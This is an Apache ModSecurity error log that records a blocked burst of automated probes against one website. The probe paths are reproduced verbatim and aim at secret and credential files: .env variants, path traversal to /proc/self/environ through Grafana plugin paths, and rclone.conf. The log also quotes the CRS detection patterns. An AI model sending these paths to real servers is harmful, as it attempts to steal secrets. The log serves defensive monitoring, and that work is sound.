[Sun Oct 25 14:01:41.288769 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5EBYIGIq5euXyTbvT1MQAAACQ"]
[Sun Oct 25 14:01:41.289094 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5EBYIGIq5euXyTbvT1MQAAACQ"]
[Sun Oct 25 14:01:41.289335 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5EBYIGIq5euXyTbvT1MQAAACQ"]
[Sun Oct 25 14:01:41.290639 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5EBVY5e6yJWIYGXiqD4wAAAAk"]
[Sun Oct 25 14:01:41.290975 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5EBVY5e6yJWIYGXiqD4wAAAAk"]
[Sun Oct 25 14:01:41.291198 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5EBVY5e6yJWIYGXiqD4wAAAAk"]
[Sun Oct 25 14:01:41.293309 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5EBQ99Fkrvw6SgmfSw2gAAAAM"]
[Sun Oct 25 14:01:41.293639 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5EBQ99Fkrvw6SgmfSw2gAAAAM"]
[Sun Oct 25 14:01:41.293857 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5EBQ99Fkrvw6SgmfSw2gAAAAM"]
[Sun Oct 25 14:01:41.317042 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBf1CbQghwAu-zzMCOgAAACA"]
[Sun Oct 25 14:01:41.317413 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBf1CbQghwAu-zzMCOgAAACA"]
[Sun Oct 25 14:01:41.317698 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBf1CbQghwAu-zzMCOgAAACA"]
[Sun Oct 25 14:01:41.318802 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at5EBfwFw76qlSfceadvdAAAAAA"]
[Sun Oct 25 14:01:41.319097 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at5EBfwFw76qlSfceadvdAAAAAA"]
[Sun Oct 25 14:01:41.319359 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at5EBfwFw76qlSfceadvdAAAAAA"]
[Sun Oct 25 14:01:41.320373 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5EBe6EytsuoC67cD91hQAAAAE"]
[Sun Oct 25 14:01:41.320724 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5EBe6EytsuoC67cD91hQAAAAE"]
[Sun Oct 25 14:01:41.320950 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5EBe6EytsuoC67cD91hQAAAAE"]
[Sun Oct 25 14:01:41.321495 2026] [core:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Sun Oct 25 14:01:41.322356 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at5EBRfmy5DaFfyE01WrHwAAABE"]
[Sun Oct 25 14:01:41.322694 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at5EBRfmy5DaFfyE01WrHwAAABE"]
[Sun Oct 25 14:01:41.322951 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at5EBRfmy5DaFfyE01WrHwAAABE"]
[Sun Oct 25 14:01:41.323599 2026] [core:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Sun Oct 25 14:01:41.324812 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_nuxt/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw2wAAAAM"]
[Sun Oct 25 14:01:41.324920 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw2wAAAAM"]
[Sun Oct 25 14:01:41.325063 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw2wAAAAM"]
[Sun Oct 25 14:01:41.325296 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw2wAAAAM"]
[Sun Oct 25 14:01:41.347360 2026] [core:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Sun Oct 25 14:01:41.364206 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at5EBfwFw76qlSfceadvdgAAAAA"]
[Sun Oct 25 14:01:41.364267 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at5EBfwFw76qlSfceadvdgAAAAA"]
[Sun Oct 25 14:01:41.364307 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at5EBfwFw76qlSfceadvdgAAAAA"]
[Sun Oct 25 14:01:41.364810 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at5EBfwFw76qlSfceadvdgAAAAA"]
[Sun Oct 25 14:01:41.365058 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at5EBfwFw76qlSfceadvdgAAAAA"]
[Sun Oct 25 14:01:41.365759 2026] [core:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Sun Oct 25 14:01:41.367288 2026] [core:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40528] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Sun Oct 25 14:01:41.368299 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at5EBSjnAS4eJh-ada2NGgAAAA0"]
[Sun Oct 25 14:01:41.368472 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at5EBSjnAS4eJh-ada2NGgAAAA0"]
[Sun Oct 25 14:01:41.368641 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5EBYIGIq5euXyTbvT1NAAAACQ"]
[Sun Oct 25 14:01:41.368726 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at5EBSjnAS4eJh-ada2NGgAAAA0"]
[Sun Oct 25 14:01:41.368902 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5EBYIGIq5euXyTbvT1NAAAACQ"]
[Sun Oct 25 14:01:41.369117 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5EBYIGIq5euXyTbvT1NAAAACQ"]
